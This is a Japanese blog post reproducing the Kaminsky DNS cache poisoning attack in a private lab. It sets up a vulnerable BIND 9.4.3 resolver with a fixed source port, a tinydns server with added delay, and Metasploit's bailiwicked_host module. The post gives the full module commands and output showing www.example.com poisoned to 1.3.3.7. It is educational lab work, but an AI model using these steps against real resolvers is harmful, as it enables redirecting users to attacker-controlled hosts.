dns
bind
脆弱性
KaliLinux
metasploit

Kaminsky Attackを試してみた

More than 1 year has passed since last update.

今更ながら、自分で試したことがなかったので試してみました。
特に攻撃の概要などは説明せず、ただ実験してみたという内容です。

概要

Kaminsky Attackとは、2008年7月にBlackHat USAでダン・カミンスキー(Dan Kaminsky)氏が発表したDNSキャッシュポイズニングの新たな攻撃方法です。詳細は参考ページをご覧ください。
この攻撃方法が発見されたのはかなり昔ではありますが、実際に自分で毒を入れてみないと理解が浅いかなということで試してみました。
Kaminsky Attackは知っているものとして、実験の方法だけ書いておきます。

参考

環境

環境としては、ほぼ参考ページ通りにやりました。
全てVagrantでVMを作成しました(全部Dockerでやれば良かったな、と後で思いました)。

  • 被攻撃キャッシュサーバ(BIND)
    • 192.168.33.10
  • ルートサーバ 兼 example.nom権威サーバ(tinydns)
    • 192.168.33.11
  • 攻撃者サーバ(Metasploit Framework)
    • 192.168.33.12

以下のような感じです。
Kobito.gTErow.png

実験

被攻撃キャッシュサーバ(BIND)

参考ページによると、Kaminsky AttackはDNS自体の脆弱性ではなく実装の問題ということのようです。
BINDの特定のバージョンには毒を入れることが出来るようなので、今回は9.4.3を使ってみます。
被攻撃サーバではBINDを動かし、キャッシュDNSサーバとして動作させます。

VMの用意

Vagrantで192.168.33.10を指定して起動します。
今回は予め用意しておいたCentOS 6.8のboxイメージを利用しました。

$ vagrant init centos68
$ vim Vagrantfile
config.vm.network "private_network", ip: "192.168.33.10"
$ vagrant up
$ vagrant ssh

これでVMの用意は完了です。

Dockerのインストール

環境をDockerで作ったほうが後で楽だと思ったのでDockerで作成しました。
まず最初にDockerをインストールします。
インストール手順は以下などを参考にしてください。
http://qiita.com/zwirky/items/991f61a231f4e198a320

Dockerコンテナの起動

他の環境でも実験しやすいように、Dockerイメージを作りました。
以下のコマンドで起動します。

# docker run -d -p 53:53/udp knqyf263/docker-kaminsky

これで準備は完了ですが、具体的に何をしたかも説明しておきます。
基本的には普通のBINDのインストール手順通りです。
自分でインストールしたい人は以下などを参考にしてください。
http://qiita.com/na0AaooQ/items/9ed548dd6db2a0c911c4

Dockerfileを見れば雰囲気はつかめると思います。
https://github.com/knqyf263/docker-kaminsky/blob/master/Dockerfile

ソースポートの固定

Kaminsky Attackでは毒を入れる際に問い合わせ時のポートを予想する必要があります。
ランダムだと試行回数が多くなってしまうため、簡単のため固定しておきます。
固定しなくても可能なはずです。

以下では10000番に固定しています。

$ vim /etc/named.conf
...
query-source address * port 10000;

hintファイルの更新

ルートDNSサーバとして自分の建てたサーバを見に行ってほしかったので、hintファイルを更新します。
今回では192.168.33.11に向けます。

$ vim /etc/cache.db
.                        3600000      NS    A.ROOT-SERVERS.NET.
A.ROOT-SERVERS.NET.      3600000      A     192.168.33.11

こうすることで何のドメイン名を問い合わせても、まずは192.168.33.11に問い合わせるようになるはずです。
そしてnamed.confにこのhintファイルを指定しておきます。

$ vim /etc/named.conf
...(略)...
zone "." {
        type hint;
        file "/etc/cache.db";
};

ルートサーバ 兼 example.nom権威サーバ(tinydns)

権威DNSサーバの設定をします。
こちらはtinydnsを利用しましたが、tinydnsのDockerがあったのでそれを使いました。
zoneとして.example.com.を管理することにします。
ルートDNSサーバとexample.com権威DNSサーバは分けても良かったのですが、一緒でも実験は可能かと思ったので一緒にしました。

VMの用意

IPアドレス以外は上と同じです。
Vagrantで192.168.33.11を指定して起動します。
www.example.comは192.168.33.100など適当なIPアドレスを指定しました。

$ vagrant init centos68
$ vim Vagrantfile
config.vm.network "private_network", ip: "192.168.33.11"
$ vagrant up
$ vagrant ssh

Dockerのインストール

上と同様にインストールします。

Dockerコンテナの起動

以下のイメージを利用させていただきました。
https://github.com/skurtzemann/docker-tinydns

tinydns.dataファイルを作成してコンテナ起動時にマウントすれば良いようです。
nsとして自分を指定したかったので192.168.33.11にします。

$ vim tinydns.data
.:192.168.33.11:ns.toor.tss:518400
.example.com:192.168.33.11:ns.example.com:3600
+www.example.com:192.168.33.100

そしてこのファイルがある位置で以下のようにコマンドを打ちます。

$ docker run -d -v `pwd`:/data -p 53:53/udp skurtzemann/tinydns

これでtinydns自体は起動完了です。

テスト

正しくexample.comのNSレコードが引けるか確認してみます。

[root@localhost vagrant]# dig @127.0.0.1 ns example.com

; <<>> DiG 9.8.2rc1-RedHat-9.8.2-0.47.rc1.el6_8.3 <<>> @127.0.0.1 ns example.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 63977
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: recursion requested but not available

;; QUESTION SECTION:
;example.com.                   IN      NS

;; ANSWER SECTION:
example.com.            3600    IN      NS      ns.example.com.

;; ADDITIONAL SECTION:
ns.example.com.         3600    IN      A       192.168.33.11

;; Query time: 1 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Sun Dec 25 11:15:46 2016
;; MSG SIZE  rcvd: 62

192.168.33.11が返って来ているので問題なさそうです。
また、今回の攻撃対象であるBINDサーバに対しても問い合わせてみます。

[root@localhost vagrant]# dig @192.168.33.10 ns example.com +short
ns.example.com.

正しく設定できているようです(本来なら a.iana-servers.net. などが返される)。
これでDNSサーバの準備は完了です。

遅延の設定

権威DNSサーバからのレスポンスが遅いほうが攻撃が成功しやすいので、遅延を入れます。
Linuxなのでtcコマンドを利用します。

$ sudo tc qdisc add dev eth1 root netem delay 200ms

上記では200msの遅延を入れました。
Vagrantで起動したらeth1が192.168.33.11に割当たっていたのでeth1を指定します。

被攻撃キャッシュサーバからpingを打ってみます。

[root@localhost ~]# ping -c 3 192.168.33.11
PING 192.168.33.11 (192.168.33.11) 56(84) bytes of data.
64 bytes from 192.168.33.11: icmp_seq=1 ttl=64 time=202 ms
64 bytes from 192.168.33.11: icmp_seq=2 ttl=64 time=202 ms
64 bytes from 192.168.33.11: icmp_seq=3 ttl=64 time=201 ms

--- 192.168.33.11 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2204ms
rtt min/avg/max/mdev = 201.991/202.143/202.381/0.170 ms

正しく200msの遅延が発生しています。

攻撃者サーバ(Metasploit Framework)

最後に攻撃者サーバを用意します。
Metasploit Framework(以下Metasploit)が利用したかったので、Kali Linuxを利用しました。

VMの用意

事前に用意しておいたKali Linuxのboxイメージを利用します。

$ vagrant init kali
$ vim Vagrantfile
config.vm.network "private_network", ip: "192.168.33.12"
$ vagrant up
$ vagrant ssh

攻撃する

msfconsoleを起動したあと、bailiwicked_hostモジュールを利用します。

$ sudo msfconsole
msf > use auxiliary/spoof/dns/bailiwicked_host
msf auxiliary(bailiwicked_host) >

オプションは以下です。

msf auxiliary(bailiwicked_host) > show options

Module options (auxiliary/spoof/dns/bailiwicked_host):

   Name       Current Setting    Required  Description
   ----       ---------------    --------  -----------
   HOSTNAME   pwned.example.com  yes       Hostname to hijack
   INTERFACE                     no        The name of the interface
   NEWADDR    1.3.3.7            yes       New address for hostname
   RECONS     208.67.222.222     yes       The nameserver used for reconnaissance
   RHOST                         yes       The target address
   SNAPLEN    65535              yes       The number of bytes to capture
   SRCADDR    Real               yes       The source address to use for sending the queries (Accepted: Real, Random)
   SRCPORT                       yes       The target server's source query port (0 for automatic)
   TIMEOUT    500                yes       The number of seconds to wait for new data
   TTL        39223              yes       The TTL for the malicious host entry
   XIDS       0                  yes       The number of XIDs to try for each query (0 for automatic)

今回の攻撃対象は192.168.33.10なのでRHOSTに指定します。

msf auxiliary(bailiwicked_host) > set RHOST 192.168.33.10
RHOST => 192.168.33.10

キャッシュサーバのソースポートは10000番に固定したので、SRCPORTに指定します。
ただし、ここで1つ問題があります。ソースポートを固定したのはDockerのコンテナ内の話で、ホストから通信が出る際にNAPTされてしまいます。
そこで、先にポートを調べておきます。
まず被攻撃キャッシュサーバでdigなどでしつつ、ルートサーバで以下のようにtcpdumpをしておきます。

[root@localhost vagrant]# tcpdump -nnni eth1
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes
14:27:05.069187 IP 192.168.33.10.10000 > 192.168.33.11.53: 9343 [1au] NS? . (28)

こうすると上記のように、被攻撃キャッシュサーバのソースポートが分かります。
今回は変換されず10000番ポートのままでした。
環境によっては異なるポートなどになるので調べてみてください。

msf auxiliary(bailiwicked_host) > set SRCPORT 10000
SRCPORT => 10000

今回はwww.example.comを汚染したいのでHOSTNAMEに指定します。

msf auxiliary(bailiwicked_host) > set HOSTNAME www.example.com
HOSTNAME => www.example.com

Vagrantでは192.168.33.12をeth1に割り当てているので、INTERFACEにはeth1を指定します。
最初これを指定していなかったため、eth0からパケットが出てしまってうまく行きませんでした。

msf auxiliary(bailiwicked_host) > set INTERFACE eth1
INTERFACE => eth1

次に、RECONSを指定します。
Kaminsky Attackではソースアドレスの偽装を行いますが、bailiwicked_hostモジュールでは自動で偽装するべきアドレスを探してくれます。
その際、example.comのNSレコードを引いてきて、そのアドレスに偽装するのですが、今回は本来のアドレスに偽装されると上手く行きません。
そこで、example.comのNSレコードを引く先を192.168.33.11に指定します。
192.168.33.11に問い合わせると、example.comのNSレコードは192.168.33.11が返されるので、192.168.33.11に偽装してくれるようになります。
(という理解ですが、もし違ってたらすみません。)

msf auxiliary(bailiwicked_host) > set RECONS 192.168.33.11
RECONS => 192.168.33.11

これで準備完了したので攻撃してみましょう。

msf auxiliary(bailiwicked_host) > run

[*] Targeting nameserver 192.168.33.10 for injection of www.example.com. as 1.3.3.7
[*] Querying recon nameserver for example.com.'s nameservers...
[*]  Got an NS record: example.com.            3600    IN      NS      ns.example.com.
[*]   Querying recon nameserver for address of ns.example.com....
[*]    Got an A record: ns.example.com.         3600    IN      A       192.168.33.11
[*]     Checking Authoritativeness: Querying 192.168.33.11 for example.com....
[*]     ns.example.com. is authoritative for example.com., adding to list of nameservers to spoof as
[*] Calculating the number of spoofed replies to send per query...
[*]   race calc: 100 queries | min/max/avg time: 0.3/0.32/0.3 | min/max/avg replies: 291/651/516
[*] Sending 774 spoofed replies from each nameserver (1) for each query
[*] Attempting to inject a poison record for www.example.com. into 192.168.33.10:1025...
[*] Poisoning successful after 250 queries and 193500 responses: www.example.com == 1.3.3.7
[*] TTL: 39116 DATA: #<Resolv::DNS::Resource::IN::A:0x00000005936430>
[*] Auxiliary module execution completed

少し待つと上記のように攻撃が成功したことが分かります。
被攻撃サーバにwww.example.comを問い合わせると1.3.3.7が返されます。

[root@localhost ~]# dig @127.0.0.1 www.example.com +short
1.3.3.7

ただし、場合によっては時間がかかることもあります。

まとめ

Kaminsky Attackを自分で検証してみました。
BIND 9.4.3ではMetasploitのモジュールを使って毒を入れることが出来ました。
実験ではソースポートを固定したので簡単でしたが、固定しないと割と時間がかかります。
他のバージョンではAdditional SectionのAレコードを受け入れないから毒が入らないということらしいので、次は別バージョンで試してみようと思います。